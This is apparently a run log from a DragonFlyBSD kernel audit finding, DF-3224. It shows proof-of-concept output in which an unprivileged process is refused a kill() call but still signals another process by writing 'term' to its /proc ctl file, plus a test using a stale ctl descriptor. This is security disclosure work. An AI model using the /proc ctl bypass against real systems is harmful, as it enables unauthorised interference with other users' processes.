⬢ DragonFlyBSD Kernel Audit
DF-3224 / run.log
← back to finding ↓ download raw
df3224 running as uid=1001 euid=1001
=== Part 1: reaper-subtree signal bypass ===
[attacker 1110/uid 1001] kill(1108, SIGTERM)... REFUSED: Operation not permitted
[attacker] write "term" to /proc/1108/ctl... DELIVERED
VICTIM pid 1108 CAUGHT SIGNAL 15
[main] victim exited 57
=== Part 1 done ===

(part 2 skipped: no dropdemo path)
df3224 running as uid=1001 euid=1001
=== Part 1: reaper-subtree signal bypass ===
[attacker 1133/uid 1001] kill(1131, SIGTERM)... REFUSED: Operation not permitted
[attacker] write "term" to /proc/1131/ctl... DELIVERED
VICTIM pid 1131 CAUGHT SIGNAL 15
[main] victim exited 57
=== Part 1 done ===

=== Part 2: setuid-root full-drop, pre-opened ctl ===
[attacker] opened /proc/1134/ctl (fd 4) while victim euid=1001
setresuid: Operation not permitted
[attacker] kill(1134, SIGKILL) now... UNEXPECTED success
[attacker] write "kill" on stale ctl fd... [main] victim exited 1
=== Part 2 done ===